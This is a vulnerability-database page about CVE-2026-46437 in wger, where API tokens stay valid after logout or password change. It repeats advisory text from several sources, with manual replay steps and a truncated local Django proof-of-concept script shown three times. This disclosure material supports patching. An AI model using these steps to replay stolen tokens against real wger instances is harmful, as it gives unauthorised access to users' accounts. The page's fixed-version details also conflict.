Every CVE Search/ Get API key

CVE-2026-46437

wger: API credentials remain valid after logout/password change

4.8 Medium

CVE-2026-46437 is a medium vulnerability (CVSS 4.8) in Wger-project Wger, published October 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. No source names a fixed version.

wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.24%Up 0.1 points since Oct 8, 2026
90%50%10%1%

What each source reports

CVE List Score used 4.8

wger: API credentials remain valid after logout/password change

wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.

Record
CVE-2026-46437
CVSS 3.1
4.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-287, CWE-613
Updated
2026-11-02
EUVDEUVD-2026-94334 4.8

wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.

Record
EUVD-2026-94334
CVSS 3.1
4.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-v3x9-6gg8-c2c9 4.8

wger: API credentials remain valid after logout/password change

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

  • Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
  • Password change updates the password hash, but does not revoke:
    • existing DRF tokens stored in authtoken_token
    • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

  • wger/wger/core/views/user.py (logout implementation)
  • wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
  • wger/settings/main.py (commonly used production defaults for JWT lifetimes)
  • wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account.
  2. Obtain a JWT refresh token:
    • POST /api/v2/token with username/password.
  3. Obtain a DRF token (API key):
    • use /user/api-key (or create token via admin/DB in a test environment).
  4. Change password:
    • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
  5. Prove token replay:
    • Call a private endpoint using the old DRF token (should still return 200).
    • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
       …
Record
GHSA-v3x9-6gg8-c2c9
CVSS 3.1
4.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-287, CWE-613
Updated
2026-11-02
NVD 4.8

wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.

Record
CVE-2026-46437
CVSS 3.1
4.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-287, CWE-613
Updated
2026-11-02
OSV 4.8

wger: API credentials remain valid after logout/password change

wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.

Record
CVE-2026-46437
CVSS 3.1
4.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-287, CWE-613
Updated
2026-11-02
OSVGHSA-v3x9-6gg8-c2c9 4.8

wger: API credentials remain valid after logout/password change

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

  • Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
  • Password change updates the password hash, but does not revoke:
    • existing DRF tokens stored in authtoken_token
    • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

  • wger/wger/core/views/user.py (logout implementation)
  • wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
  • wger/settings/main.py (commonly used production defaults for JWT lifetimes)
  • wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account.
  2. Obtain a JWT refresh token:
    • POST /api/v2/token with username/password.
  3. Obtain a DRF token (API key):
    • use /user/api-key (or create token via admin/DB in a test environment).
  4. Change password:
    • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
  5. Prove token replay:
    • Call a private endpoint using the old DRF token (should still return 200).
    • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
       …
Record
GHSA-v3x9-6gg8-c2c9
CVSS 3.1
4.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-287, CWE-613
Updated
2026-11-02
OSVPYSEC-2026-4315 4.8

wger: API credentials remain valid after logout/password change

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

  • Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
  • Password change updates the password hash, but does not revoke:
    • existing DRF tokens stored in authtoken_token
    • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

  • wger/wger/core/views/user.py (logout implementation)
  • wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
  • wger/settings/main.py (commonly used production defaults for JWT lifetimes)
  • wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account.
  2. Obtain a JWT refresh token:
    • POST /api/v2/token with username/password.
  3. Obtain a DRF token (API key):
    • use /user/api-key (or create token via admin/DB in a test environment).
  4. Change password:
    • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
  5. Prove token replay:
    • Call a private endpoint using the old DRF token (should still return 200).
    • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
       …
Record
PYSEC-2026-4315
CVSS 3.1
4.8 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wger
PyPI
through 2.1 None known
wger
PyPI
through 2.1, plus listed versions
1.11.1.11.21.2rc11.3
Show 8 moreShow less
1.41.51.61.6.11.71.81.92.0
None known

History

History
WhenChangedSources
2026-11-02createdCVE List, EUVD, GitHub Advisories, NVD, OSV

References

This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open